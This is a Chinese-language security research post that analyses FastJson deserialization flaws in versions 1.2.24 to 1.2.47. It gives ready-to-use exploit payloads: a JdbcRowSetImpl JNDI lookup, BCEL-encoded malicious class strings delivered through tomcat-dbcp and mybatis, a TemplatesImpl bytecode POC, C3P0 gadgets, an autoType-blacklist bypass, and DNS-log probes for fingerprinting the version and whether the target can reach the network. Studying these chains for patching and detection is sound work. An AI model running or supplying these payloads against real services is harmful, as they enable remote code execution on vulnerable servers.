FastJson 反序列化漏洞
主要记录的是 1.2.24 ~ 1.2.47 的版本利用。
基本了解
构成漏洞的主要成因是 FastJson 在反序列化的过程中能够灵活的调用类的 getter 方法和 setter 方法。
反序列化常用 parse 方法和 parseObject 进行处理。两者的区别在于后者能够调用类中任意的 getter 方法(但是不包含 void 返回值),而前者遵循一般情况,只能调用特定的 getter 方法。显然当使用 parseObject 方法进行反序列化的时候利用较为容易。
parseObject 反序列化的顺序:先调用 Set 方法和特殊的 get 方法(返回值类型继承自 Collection Map AtomicBoolean AtomicInteger AtomicLong )(没有先后顺序),然后再调用其他的 get 方法(返回值不为 void)
默认情况下,只能调用的 getter 和 setter 方法的修饰符必须是 Public
这里可以在 JavaBeanInfo.java#parseField 中可以看到逻辑。
Set 方法自动调用规则:
- 方法名长度大于等于 4
- 非静态方法
- 返回值为 void 或者是当前类属性
- 方法参数个数为 1
- 方法名开始为 set
Get 方法调用规则:
- 方法名长度大于等于 4
- 非静态
- 方法参数个数为 0
- 第四个字母必须是大写
- 返回值类型继承自 Collection Map AtomicBoolean AtomicInteger AtomicLong
这里可以在 JavaBeanInfo.java#parseField 中可以看到上述规则的逻辑。至于为什么会走到这里,调用链给出
DefaultJSONparser#parseObject
-> this.config.getDeserializer(clazz);
->ParserConfig#getDeserializer((Class<?>) rawType, type);
->ParserConfig#createJavaBeanDeserializer(clazz, type)
->JavaBeanInfo#build(clazz, type, propertyNamingStrategy);
Setter 调用逻辑关键代码
getter 调用逻辑关键代码
FastJson parse 特殊 getter 的调用
虽然 FastJson 反序列化过程中 parse 能够调用任意的 setter 方法,也已经能够构造出一些利用链了。但是我们学过更多的利用链往往是通过 getter 方法触发的。下面就来介绍如何触发 getter 方法的手段
ASM
FastJson提供了ASM的开关,默认开启状态,同时在满足一定的条件下才能使用ASMSerializerFactory
创建ASMSerializer
;
FastJson 使用 ASM 代替了 Java 反射。ReflectASM 自动为 get/size。其中要求调用的 set 方法必须存在一个参数为空的方法。而 get 方法不做要求
package org.example;
public class User3byASM {
public void setName() {
System.out.println("调用了无参的 setName");
}
public void getName() {
System.out.println("调用了无参的 getName");
}
public void getName(String name) {
System.out.println("调用了有参的 getName");
}
public void setName(String name) {
System.out.println("调用了有参的 setName");
}
// 如果不把下面的 setSize 注释掉会报错
// public void setSize(Integer size) {
// System.out.println("调用了有参的 setSize");
// }
public void getSize() {
System.out.println("调用了无参的 getSize");
}
}
package org.example;
import com.esotericsoftware.reflectasm.MethodAccess;
public class TestReflectASM {
public static void main(String[] args) {
User3byASM user = new User3byASM();
MethodAccess methodAccess = MethodAccess.get(User3byASM.class);
String[] methodNames = methodAccess.getMethodNames();
for (int i = 0; i < methodNames.length; i++) {
System.out.println(methodAccess.invoke(user,methodNames[i]));
}
}
}
执行结果
调用了无参的 getName
null
调用了无参的 getName
null
调用了无参的 setName
null
调用了无参的 setName
null
调用了无参的 getSize
null
这也就意味着给我们调用任意 get 方法存在可能
$ref 调用 getter
利用条件 Fastjson >= 1.2.36
Payload:
String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].cmd\"}]";
此时便会调用 getCmd 方法。如果改为
String payload = "[{\"@type\":\"org.example.Test\",\"cmd\":\"calc\"},{\"$ref\":\"$[0].xx\"}]";
那么则会调用 getXx 方法。这是怎么回事?
可以看到我们的 payload 是一个列表, $[0].xx 表示引用列表中索引为 0 的 xx 属性。在上面 索引为 0 是 org.example.Test 对象。可是怎么获得这个对象的 xx 属性呢?不难想到答案是通过反射调用 getXx 方法来获取。感兴趣的可以追一下源码。调用链是
进入到 setValue 就可以看到反射调用了
可是为什么要传入的 key 是 \$ref?这个在 https://goessner.net/articles/JsonPath/ JSONPATH 文档中并没有啊?这是因为 fastjson 对 $ref 的处理 https://github.com/alibaba/fastjson/wiki/%E5%BE%AA%E7%8E%AF%E5%BC%95%E7%94%A8 ,也就是 Fastjson 特定的语法。
下面让我们来追一下源码。当遇到引用 \$ref 也就是 $[0].xx 的时候,会增加一个解析处理任务,当处理完前半部分的内容后,再单独将引用部分传入 handleResovleTask 会将 path 引用传入 jsonpath.eval 中
最后就可以看到我们熟悉的调用 getPropertyValue 方法了,这个方法会尝试调用类中的 getter 方法获得所需要的属性值
JsonObject#toString 触发
利用条件 1.2.36 <=
Fastjson 在解析的时候遇到 {
会加一层 JSONObject。
DefaultJSONParser#parse
{{some}:x} 此时 作为 key 的 {some} 就被被当作 JSONObject,在 com.alibaba.fastjson.parser.DefaultJSONParser#parseObject 中就会触发 key 的 toString 方法。也就是 JSONObect 的 toString 方法
JSONObject 类中并没有重写 toString 方法,看看它的父类 JSON 的 toString 方法
可以看到 JSONtoString 方法中使用了 JSONSerializer 类的 write 方法,跟进这个 JSONSerializer 类
out 是 SerializeWrite 我知道,但是这个 SerializeConfig.getGlobalInstance() 是什么鬼?不断的跟进 SerializeConfig 类可以发现
SerializeConfig 设置了使用 ASMSerializer 用来反序列化,而 ASMSerializer 是可以调用类中任意的 get 方法的。
大于 1.2.36 的版本源码不再存在最开始的 key.toString 这行代码了,也就触发不了了。
Payload:
{{"x": {"@type": "org.example.Test2"}}: "x"}
或者
{{"x": {"@type": "org.example.Test2"}}: "x"}
以上的 payload 会将 {"x": {"@type": "org.example.Test2"}}
当成 key 然后把 key 当作 JSONObject 进行 parse 。会触发 DefaultJSONParse 类的 parseObject 方法
该方法会将 key 中的类通过 JavaBeanDeserializer 的 createInstance 获取类中 get 方法所带的字段
最后将 {“x”: {“@type”: “org.example.Test2”}} 中的 value {"@type": "org.example.Test2"}
依此进行 ASMSerailze 调用所有的 get 方法
主要利用方式
JdbcRowSetImpl 链
调用链
...
lookup(JdbcRowSetImpl#getDataSourceName
JdbcRowSetImpl#connect
JdbcRowSetImpl#setAutoCommit
JdbcRowSetImpl#setDataSourceName
...
这个是 JNDI 的打法
JdbcRowSetImpl 中的 connect 方法,存在我们熟悉的 lookup 方法。
而在这个类中存在 getDatabaseMetaData 方法,会调用 connect 方法。但是由于 dataSourceName 并不是上面提到的返回值,所以这个 get 方法在反序列化的过程中一般不会被调用。得找其他的。
继续往下找可以发现 setAutoCommit 方法也会调用 connect 方法。在反序列化中可控的被调用。只需要加上 autocommit 的值即可
而 connect 方法中的 lookup 方法中的内容是调用了 getDataSourceName 方法来获取 DataSourceName 字段值。而又正好存在 setDataSourceName 方法给我们设置 DataSourceName 的值
这很明显了,只要我们传入的值是 JNDI 服务,那么就会造成 Lookup 。如果可控的话,还会有可能造成 JNDI 注入。这就试试。
String str3 = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://127.0.0.1:10990/reomteObj\",\"autocommit\":true}";
JSON.parse(str3);
起一个 JNDI 服务器,准备好弹出计算器的类。运行弹出计算器
BCEL 利用
该利用方式是通过 BCEL 类加载器造成的。FastJson 触发 BCEL ClassLoader 最多的两种利用方式需要依赖 tomcat-dbcp 或者 mybatis。其中 tomcat-dbcp 的 BCEL 利用类是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource,而 mybatis 的利用类是 org.apache.ibatis.datasource.unpooled.UnpooledDataSource 。
tomcat-dbcp#BasicDataSource
下面以 tomcat-dbcp 来说明。
而我们学习了 BCEL 类加载器知道 https://www.cnblogs.com/CoLo/p/15869871.html。BCEL 加载器可以通过加载其包下的那个工具类编码的字节码(如果是以 \$\$BCEL$$)开头的话。不过这篇文章需要补充的是 BCEL Classloader 存在于 Java 的版本不仅仅包括 JDK < 8u251 还包括 1.8.0.342
package org.example;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;
public class BCELDemo {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(Calc.class);
String encode = Utility.encode(javaClass.getBytes(), true);
System.out.println(encode);
// $$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$cbn$d3$40$U$3d$938ql$i$d2$a4$q$bc$lm$81$3a$e1$e1$F$h$a4Vl$w$90$Q$81$oR$95$F$L41$p3$c5$b1$p$c7$a9$f2G$ac$bb$v$88$F$l$c0G$n$ce$b8i$82$m$96f$ee$9ds$e7$9c$7b$ae$ed_$bf$7f$fc$E$f0$E$8f$5c$d4p$d3$c5$z$dc$ae$e1$8e$89$h66$5dT$b0e$e3$ae$8d$7b$C$d5$5d$9d$e8$fc$99$40$d9$ef$k$KX$7b$e9$t$r$d0$e8$ebD$bd$99$8e$86$w$3b$90$c3$98H$ab$9f$862$3e$94$996$e79h$e5$9f$f5$a4$a8eQ$a0fr4$8eU$b0$t$e3pG$a0$f2q$qu$o$d0$f1$3f$f4$8f$e4$b1$Mb$99D$c1$m$cft$S$ed$U$add$W$j$L$ac$af$u$L$b8$cfg$a1$g$e7$3aM$s6$ee$L$d4v$c3xnT$b0q$fb$8c$a3$d3$e0$e5$fe$e2$si$f5A$$$c3$_$af$e5$b80$c8Y$a94H$a7Y$a8$5ehc$d81$e6$k$h$ae$H$H$ae$8dm$P$3e$ba4$c3$e1B$P$3d$3c$a0$a3$V$da$k$k$c2$VX$fbwPBK$f7$fb$c3$p$V$e6$e7$C$F$b4$Q$Qh$$$d1w$d3$q$d7$p$faq$p$95$_$Om$bf$db$ff$ef$O$87$b2$d4L$b1$d1$b6$bf$e2$3d$fe$F$bd$cd$d2PM$s$q4$c6$y$e6$c5$ab8$c8d$a8$b0$B$9b$3f$82y$ca$Qfp$ee$Xx$K$Y$Fc$a5$f7$N$e2$84I$J$k$f7$ea$Z$88$3awo$9e_D$83$d1$c1$g$9a$bce$c8O$ZM$cd$fd$8eR$ab$7c$K$eb$fdR$c1e$E9$OYK$V$X$z$ac3$5e$e2$b2$88$b4i$aa$b30$p$e7z$ad$85$deW$d4$5e$f5NQ$3d$vp$87$w$V$O$60$f4$3b$cc$40$b6C$a6$f9$92u$aa4$99$9d$f7$aaS$ff2$ae$f0t$95$cbF$a9o$e3$9aiy$bd$b0x$e3$PC$L$f1$e6$o$D$A$A
String payload = "$$BCEL$$" + encode;
Class.forName(payload,true, new ClassLoader()); // 这里的 ClassLoader 是 com.sun.org.apache.bcel.internal.util.ClassLoader
}
}
BasicDataSource 利用链:
BasicDataSource#getConnection -> BasicDataSource#createDataSource->
BasicDataSource#createConnectionFactory->
DriverFactory#createDriver(this)-> 这里的 this 其实传入的是 BasicDataSource 对象本身
Class.forName(driverClassName, true, driverClassLoader); true 表示初始化对象
注意看 ConnectionFactoryFactory#createConnectionFactory 打下的三个断点。driverClassName 和 driverClassLoader 都是可控的。并且会在第三个语句中用传入的类加载器加载类名
但是如果我们看到利用链要走到 BasicDataSource#createDataSource 之前还需要触发 BasicDataSource#getConnection 但是 getConnection 的返回值同样也不是开头提到的返回值,不会默认触发,但是我们可以用前面提到的 $ref 或者 JsonObject#toString 的方式进行触发
POC:
{{"x": {"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", "driverClassLoader": {"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$cbn$d3$40$U$3d$938ql$i$d2$a4$q$bc$lm$81$3a$e1$e1$F$h$a4Vl$w$90$Q$81$oR$95$F$L41$p3$c5$b1$p$c7$a9$f2G$ac$bb$v$88$F$l$c0G$n$ce$b8i$82$m$96f$ee$9ds$e7$9c$7b$ae$ed_$bf$7f$fc$E$f0$E$8f$5c$d4p$d3$c5$z$dc$ae$e1$8e$89$h66$5dT$b0e$e3$ae$8d$7b$C$d5$5d$9d$e8$fc$99$40$d9$ef$k$KX$7b$e9$t$r$d0$e8$ebD$bd$99$8e$86$w$3b$90$c3$98H$ab$9f$862$3e$94$996$e79h$e5$9f$f5$a4$a8eQ$a0fr4$8eU$b0$t$e3pG$a0$f2q$qu$o$d0$f1$3f$f4$8f$e4$b1$Mb$99D$c1$m$cft$S$ed$U$add$W$j$L$ac$af$u$L$b8$cfg$a1$g$e7$3aM$s6$ee$L$d4v$c3xnT$b0q$fb$8c$a3$d3$e0$e5$fe$e2$si$f5A$$$c3$_$af$e5$b80$c8Y$a94H$a7Y$a8$5ehc$d81$e6$k$h$ae$H$H$ae$8dm$P$3e$ba4$c3$e1B$P$3d$3c$a0$a3$V$da$k$k$c2$VX$fbwPBK$f7$fb$c3$p$V$e6$e7$C$F$b4$Q$Qh$$$d1w$d3$q$d7$p$faq$p$95$_$Om$bf$db$ff$ef$O$87$b2$d4L$b1$d1$b6$bf$e2$3d$fe$F$bd$cd$d2PM$s$q4$c6$y$e6$c5$ab8$c8d$a8$b0$B$9b$3f$82y$ca$Qfp$ee$Xx$K$Y$Fc$a5$f7$N$e2$84I$J$k$f7$ea$Z$88$3awo$9e_D$83$d1$c1$g$9a$bce$c8O$ZM$cd$fd$8eR$ab$7c$K$eb$fdR$c1e$E9$OYK$V$X$z$ac3$5e$e2$b2$88$b4i$aa$b30$p$e7z$ad$85$deW$d4$5e$f5NQ$3d$vp$87$w$V$O$60$f4$3b$cc$40$b6C$a6$f9$92u$aa4$99$9d$f7$aaS$ff2$ae$f0t$95$cbF$a9o$e3$9aiy$bd$b0x$e3$PC$L$f1$e6$o$D$A$A"}}: "x"}
mybatis-UnpooledDataSource
利用前面的特殊 getter 调用手段我们可以调用 org.apache.ibatis.datasource.unpooled.UnpooledDataSource 类中的 getConnection 方法
然后就会调用到 doGetConnection 方法中,并调用到 initializeDriver 方法
最后有多清楚就不用我说了吧
控制好 driver 要加载的字节码和 driverClassLoader 类加载器,即可
Payload:
{{"x": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader": {"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmR$cbn$d3$40$U$3d$938ql$i$d2$a4$q$bc$lm$81$3a$e1$e1$F$h$a4Vl$w$90$Q$81$oR$95$F$L41$p3$c5$b1$p$c7$a9$f2G$ac$bb$v$88$F$l$c0G$n$ce$b8i$82$m$96f$ee$9ds$e7$9c$7b$ae$ed_$bf$7f$fc$E$f0$E$8f$5c$d4p$d3$c5$z$dc$ae$e1$8e$89$h66$5dT$b0e$e3$ae$8d$7b$C$d5$5d$9d$e8$fc$99$40$d9$ef$k$KX$7b$e9$t$r$d0$e8$ebD$bd$99$8e$86$w$3b$90$c3$98H$ab$9f$862$3e$94$996$e79h$e5$9f$f5$a4$a8eQ$a0fr4$8eU$b0$t$e3pG$a0$f2q$qu$o$d0$f1$3f$f4$8f$e4$b1$Mb$99D$c1$m$cft$S$ed$U$add$W$j$L$ac$af$u$L$b8$cfg$a1$g$e7$3aM$s6$ee$L$d4v$c3xnT$b0q$fb$8c$a3$d3$e0$e5$fe$e2$si$f5A$$$c3$_$af$e5$b80$c8Y$a94H$a7Y$a8$5ehc$d81$e6$k$h$ae$H$H$ae$8dm$P$3e$ba4$c3$e1B$P$3d$3c$a0$a3$V$da$k$k$c2$VX$fbwPBK$f7$fb$c3$p$V$e6$e7$C$F$b4$Q$Qh$$$d1w$d3$q$d7$p$faq$p$95$_$Om$bf$db$ff$ef$O$87$b2$d4L$b1$d1$b6$bf$e2$3d$fe$F$bd$cd$d2PM$s$q4$c6$y$e6$c5$ab8$c8d$a8$b0$B$9b$3f$82y$ca$Qfp$ee$Xx$K$Y$Fc$a5$f7$N$e2$84I$J$k$f7$ea$Z$88$3awo$9e_D$83$d1$c1$g$9a$bce$c8O$ZM$cd$fd$8eR$ab$7c$K$eb$fdR$c1e$E9$OYK$V$X$z$ac3$5e$e2$b2$88$b4i$aa$b30$p$e7z$ad$85$deW$d4$5e$f5NQ$3d$vp$87$w$V$O$60$f4$3b$cc$40$b6C$a6$f9$92u$aa4$99$9d$f7$aaS$ff2$ae$f0t$95$cbF$a9o$e3$9aiy$bd$b0x$e3$PC$L$f1$e6$o$D$A$A"}}: "x"}";
C3P0 二次反序列化
不过需要利用到现有的存在反序列化漏洞的组件
payload
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"rand2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
}
}
至于 Payload 为什么用到了 java.lang.Class 和 可以看到下面的 Version fastjson 1.2.33 部分
TemplatesImpl
如果我们熟悉 CC3 链那么对这条利用链其实不算陌生,也就是通过加载恶意类字节数组的方式进行 RCE。但是与 CC3 链不同的是这里用到了 _outputProperties 属性,也就是在反序列化过程中需要调用。调用链大概是:
通过调用 getOutputProperties 方法从而触发 newTransformer 方法。这个方法返回值是 Properties 其实现了 Map 因此能够被可控的自动调用
但是值得注意的是,我们 CC3 链分析过了 _name 、_tfactory 这些都是必不可少的,因此我们的 JSON 字符串需要传入,但是这些属性的 Set 方法有些并不是 Public
因此我们想要利用则必须添加 JSON.parse(payload,Feature.SupportNonPublicField);
POC:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
public class Test5 {
public static void main(String[] args) throws IOException {
String path = "D:\\Java运行文件\\Javasecurity_2\\cc\\target\\classes\\org\\example\\poc\\Calc.class";
byte[] bytecodes = Files.readAllBytes(Paths.get(path));
String s = JSON.toJSONString(bytecodes);
System.out.println(s);
String evil = Base64.getEncoder().encodeToString(bytecodes);
String payload = "{\"@type\": \"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+evil+"\"],\"_name\":\"TemplatesImpl\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload,Feature.SupportNonPublicField);
}
}
主要的 payload:
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_name":"TemplatesImpl","_tfactory":{},"_outputProperties":{},"_bytecodes":["Base64编码后的恶意类的字节码"]}
至于为什么 _bycodes 需要 Base64 编码,这是因为 FastJson 在处理字节数组的时候,也就是 toJSONStirng 会自动的将其 Base64 编码,而反序列化的过程中则会将其解码
那么为什么传入的是带有下划线的属性,FastJSON 还是能找到对应的 SetXx 而不是 Set_Xx 呢?这是因为在 JavaBeanDeserializer 类中的 smartMatch 方法会对传入的 Filed 进行一些修正(如果找不到 Set_Xx 那么就会尝试找 SetXx)
commons-io 写文件
看了一下漏洞危害,感觉有些许鸡肋。即便能够写文件,也不知道该往哪个路径写文件。而且在 Spring 环境下默认写的 jsp 文件也不一定能够被解析。这里就不复现了。只是列出存在这个利用点。
讲完了主要利用方式,那么就来讲讲各个版本的限制吧
Version
1.2.24
这个版本下没有任何限制。上面介绍的利用方式都可以
1.2.25-1.2.47
checkAutoType
这些版本中加入了 checkAutoType 功能。也就是增加了黑名单和白名单的功能。
在这个 checkAutoType 方法中,首先会对类的名字长度进行检验,不能超过 256。然后将类名中的 $ 替换成 .
接着判断 autoTypeSupport 是否为 true 。
当为 true 的时候首先会进行白名单的判断,如果类名在白名单中,那么将会使用 TypeUtils 类(这个类后面也会有绕过方式)进行加载。然后不在白名单中的类会通过黑名单检验。如果是黑名单的类名那么就会抛出异常。
如果 autoTypeSupport 为 false,通过 TypeUtils 查找类后没找到就会通过初始化的 HashTable 进行查找(也就是 deserializers 白名单)
可以看到这张表中放置了一些基本类型
接下来继续往下走,就会发现当 autoTypeSupport 设置为 false 的时候也会先经历黑名单检验和白名单检验
黑名单
白名单则默认为空
到后面如果还没 class 还是空的话就会抛出异常。
前面我们说过了,当 autoTypeSupport 设置为 true 的时候第一次通过白名单会进行 TypeUtils.loadClass 而白名单默认为空,那么我们怎么样才能加载其他的自定义类呢?其实当通过了黑名单校验后就会进行加载了
稍微总结一下:
当 autoTypeSupport 设置为 false (默认情况下):尝试加载 deserializers 白名单的类,然后黑名单检查,加载自定义的白名单类
当 autoTypeSupport 设置为 true 时:先加载自定义白名单的内容,然后进行黑名单检查,然后通过 TypeUtils 加载其他的类。
可以看出如果我们想要在 autoTypeSupport 设置为 true 的时候依然能够加载恶意的类,那么我们只需要通过黑名单检查,然后绕过TypeUtils 中的一些限制 。而如果我们需要利用 autoTypeSupport 为 fales 的情况,那么我们需要利用好 deserializers 中的类
fastjson 1.2.33 – 1.2.47 或者无 autotype
当然也有 JNDI 注入的,不过利用限制太高了,能尽量打不出网就打不出网。
该利用只有在fastjson 1.2.33 – 1.2.47 或者无 autotype 的版本可利用,BCEL 加载。
这里用 1.2.36 进行调试分析
POC:
{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$hA$Q$ac$b1$8d$f7$c1$9a$87$c1$e6$91$84$98$b7$8d$E$3e$e4h$94K$ER$94M$88bd$94$e3x$Y$cc$c0$b2$b3Z$8f$81$3f$e2$cc$85D$89$94$dc$f3Q$88$9e$F$ZKd$P$dd$d3U$d5$d5$3d$b3$ff$ee$7f$fd$B$f0$Ou$l$k$e6$7d$y$60$d1$c5$x$9b_$3bx$e3$60$c9G$Ro$j$d4$i$y3$UwU$ac$cc$7b$86$7c$bd$d1a$u$7c$d0$c7$92a2T$b1$fc2$b8$e8$ca$f4$90w$pB$ca$a1$W$3c$ea$f0T$d9$fa$J$y$98S$d5$t$8fp$efRE$z$GwWDOv$8c$e8Jx$c6$_yS$e9$e6$c7$83$bdk$n$T$a3tL$b2R$dbpq$fe$99$t$99$N$z$c5$e0$b7$f5$m$Vr_Y$5b$cf$da$ed$d8$de$A$3e$c6$j$ac$EX$c5$gCU$t2$aem$f3$g$ad$o$G$R7$3a$dd$e1I$S$60$j$h$M3$ff$99$c6$b0$98$a1$R$8f$7b$cdo$83$d8$a8$L9$q$ad$fb$s$dd$c2$8ec$98z$W$kt$cf$a40$M$d3$_zi$d3$9e4$c3$a2Ro$84$_4t$c3$82$bc$96$82a$b3$3e$c2$b6M$aa$e2$5ek$b4$e1k$aa$85$ec$f7$a9a$7eTyx$9a$ea$x$fb4$adF$H$cbp$e9$3f$da$_$Hf$9f$83b$40U$932$a3$3c$b6$f5$D$ec6$a3K$U$8b$Z$98$c7$E$c5$e0Q$80ILQv1$3dl$3e$n$85$e5$e6$7e$oW$ce$df$a1pt$83$d2$a7$df$u$7e$t7$e7$efmFz$q$j$p$a1$b5$ad$d2$Jp$I$f3$Ju$J$f3$I$h$l$8e$b1u$Z3T$cdf$ba$5c$e8$a0$e2$RQ$cd6$9b$7b$A$7f$Q$bb$L$96$C$A$A"}}:{}}}
原因,在 POC 中的 “val” 会触发 MiscCodec 中的解析
也就是说 val 的内容会被解析,还是在这个类,接下来如果我们传入的 Class 是 java.lang.Class 那么会触发下面这条语句
此时的 StrVal 已经在上面赋值为了 “val” 后的内容。跟进去这个 loadClass 方法中,会发现 strVal 被当作 className
然后获取类并放到 mapping 中
但是这个有什么用呢?在前面的 CheckAutoType 分析中,会先经过白名单和黑名单(),但是有没有注意到接下来会走进这一段代码进行加载
也就调用了
而前面我们已经将这个恶意类放进去了,然后通过desrializers 也就能够找到了,接下来便能够直接加载返回这个类
为什么要这么做?org.apache.ibatis.datasource.unpooled.UnpooledDataSource 不是不在第一个黑名单中吗?没错,确实是这样,也能够加载,但是并不是通过白黑名单校验后马上加载,而且后面会进行判断而不是直接返回。显然 org.apache.ibatis.datasource.unpooled.UnpooledDataSource 是属于 dataSource 的,从而抛出了异常
出网与否
这个很好判断,只需要用一些网络类进行测试即可,比如
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
版本检测(部分)
报错
这个 Payload 通过报错可以获得精确的版本号,但是如果站点处理好异常那么将无法利用
{
"@type": "java.lang.AutoCloseable"
DNS 请求
fastjson <1.2.43
{"@type":"java.net.URL","val":"http://dnslog"}
{{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
fastjson <1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}
fastjson <1.2.68
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
Set[{"@type":"java.net.URL","val":"http://dnslog"}]
Set[{"@type":"java.net.URL","val":"http://dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{{"@type":"java.net.URL","val":"http://dnslog"}:0
延迟请求
当 JNDI lookup 一个内网地址花费的时间较少,而 lookup 一个外网地址花费时间较长。而且请求本机开发端口不延时,请求不开放端口延时(但是时间不明显)。我们可以利用一些 JNDI POC 进行探测,如果发现有时间差,那么证明 POC 有用,从而也可以直接筛选出正确的 POC,即使包括 JDK 版本较高的
其他参考 https://github.com/safe6Sec/Fastjson
依赖探测
暂时想不到什么好的办法,只想到通过传入 @type 和对应的全类名判断回显是否正确。